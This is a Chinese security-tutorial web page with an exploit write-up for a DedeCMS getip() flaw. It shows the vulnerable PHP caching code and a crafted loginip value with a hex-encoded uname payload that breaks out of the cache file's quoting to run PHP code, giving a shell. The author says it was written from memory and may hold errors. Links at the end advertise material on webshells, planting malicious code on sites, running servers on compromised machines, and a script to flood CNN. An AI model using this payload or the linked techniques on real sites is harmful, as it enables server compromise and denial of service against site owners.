Dedecms getip()的漏洞利用代码

所属分类: 实用技巧 / 安全教程 阅读数: 1967
收藏 0 赞 0 分享
author: superhei
team:http://www.ph4nt0m.org
blog:http://superhei.blogbus.com

在用户登陆后把用户信息写如了缓存:\include\inc_memberlogin.php

function FushCache($mid=0)
{
if(empty($mid)) $mid = $this->M_ID;
$dsql = new DedeSql();
$row = $dsql->GetOne(”Select ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm From #@__member where ID='{$mid}' “);
if(is_array($row))
{
$scrow = $dsql->GetOne(”Select titles From #@__scores where integral<={$row['scores']} order by integral desc”);
$row['honor'] = $scrow['titles'];
}
if(is_array($row)) return WriteUserInfos($mid,$row); //这里
else return ”;
}

WriteUserInfos()的代码:

//写入用户的会话信息
function WriteUserInfos($uid,$row)
{
$tpath = ceil($uid/5000);
$ndir = dirname(__FILE__).”/cache/user/$tpath/”;
if(!is_dir($ndir)){
mkdir($ndir,0777);
chmod($ndir,0777);
}
$userfile = $ndir.$uid.'.php';
$infos = “<”.”?php\r\n”;
$infos .= “\$cfg_userinfos['wtime'] = ‘”.mytime().”‘;\r\n”;
foreach($row as $k=>$v){
if(ereg('[^0-9]‘,$k)){
$v = str_replace(”‘”,”\\'”,$v); //这个是利用的关键 
$v = ereg_replace(”(<\?|\?>)”,”",$v);
$infos .= “\$cfg_userinfos['{$k}'] = ‘{$v}';\r\n”;
}
}
$infos .= “\r\n?”.”>”;
@$fp = fopen($userfile,'w');
@flock($fp);
@fwrite($fp,$infos);
@fclose($fp);
return $infos;
}

我们构造$ipp=”121.11.11.1′,uname=0×68656967655C273B706870696E666F28293B2F2F,uptime='1″;

mysql> select 0×68656967655C273B706870696E666F28293B2F2F;
+——————————————–+
| 0×68656967655C273B706870696E666F28293B2F2F |
+——————————————–+
| heige\';phpinfo();//                       |
+——————————————–+
1 row in set (0.00 sec)

利用流程:
A:
else{ //成功登录
//$ipp=”121.11.11.1′,uname=0×68656967655C273B706870696E666F28293B2F2F,uptime='1″;
$dsql->ExecuteNoneQuery(”update #@__member set logintime='”.mytime().”‘,loginip='”.$ipp.”‘ where ID='{$row['ID']}';”);

B:FushCache()

$row = $dsql->GetOne(”Select ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm From #@__member where ID='{$mid}' “);

C:WriteUserInfos()

heige\';phpinfo();// —str_replace–>heige\\';phpinfo();//—fwrite—>heige\\';phpinfo();//

===>$cfg_userinfos['uname'] = ‘heige\\';phpinfo();//'; 完美闭和前面的'  

其中str_replace的部分相当于代码:

<?php
$v=”heige\';phpinfo();//”;
$v = str_replace(”‘”,”\\'”,$v);
print $v;
?>

整个过程其实就是一个很完整的”二次攻击”,而str_replace(”‘”,”\\'”,$v);起了关键性的作用  

[因为这个漏洞当我pc上有那么段时间了,这个文章很多都是凭记忆写的,可能有错误,有兴趣的同学可以自己跟一下。]
更多精彩内容其他人还在看

如何防止QQ被盗密码 比较详细找回qq号的方法

今天小编教大家如何更高几率的找回QQ密码,需要的朋友可以参考一下
收藏 0 赞 0 分享

在肉鸡上架设全能服务器的方法介绍

肉鸡上架设服务器当看见别人有自己网站的时候,你是不是也很想有一个自己的WEB站点呢?可是建站需要空间,象偶这样的穷人都没钱买空间,只有自己动手,正所谓自己动手丰衣足食,别忘了,DIY永远是黑客的精神!
收藏 0 赞 0 分享

webshell查看IIS站点配置的方法

得到了网站的webshell我们就可以查看服务器的iis的所有站点了,试个不错的方法,如果安全设置好了,也不会有问题
收藏 0 赞 0 分享

让侮辱中国人的法国cnn网站完蛋

让侮辱中国人的法国cnn网站完蛋!!!只要你帮助打开一个网页!! 如何DOS攻击CNN网站? ?将这些文字复制,并保存成一个html文件,然后在浏览器中打开,按提示启用脚本,然后,每隔3秒钟将自动连接一次cnn网站(注意,是自动的,只要你不关闭浏览器窗口就可以了,也不会影响你
收藏 0 赞 0 分享

最新的无权限挂马方式

我写这文章并不是教大家怎么跑去挂马啊,挂马是不对的!不过有的时候真的很想做些让人觉得痛快的事情,因为我就碰到很多的管理员,你跟他说服务器有问题吧!他不信,你改些东西警告他吧,他比你还勤快,你一改他马上覆盖回去,让人真的很郁闷。
收藏 0 赞 0 分享

注册表导出管理员密码文件

来源:红狼 sa默认可以读sam键.应该。
收藏 0 赞 0 分享

不用xp_cmdshell照样执行命令

删除xp_cmdshell和xplog70.dll不用担心,只要保留xp_regwrite就可以执行系统命令,拥有一个dos shell 利用RDS的一个老问题,在IIS 4.0的时候被广泛利用,现在好像没多少人想得起来了 主要是由于Jet允许调用VBA的shell()函
收藏 0 赞 0 分享

MySQL注入中导出字段内容的研究通过注入导出WebShell

大家都知道,在MySQL中,无法像MSSQL那样执行script.asp?id=1;insert into table (field) values('angel');--来插入数据,因为MySQL里最多就是用union联合查询。
收藏 0 赞 0 分享

Dedecms getip()的漏洞利用代码

flyh4t在非安全发布了dedecms getip()的注射漏洞,漏洞本身的成因没什么好说的老掉牙的X-Forwarded-For的问题,我想这个漏洞很多人都找到了,不过这个漏洞的利用有个地方还是可以说说的,可以直接得到shell:
收藏 0 赞 0 分享

NtGodMode.exe任意密码登录windows系统帐号下载

NTGod NT上帝模式,打开上帝模式可以用任意密码登录任意windows系统帐号,从而达到不增加帐号、不破坏被入侵主机系统的情况下,登录系统帐号。
收藏 0 赞 0 分享
查看更多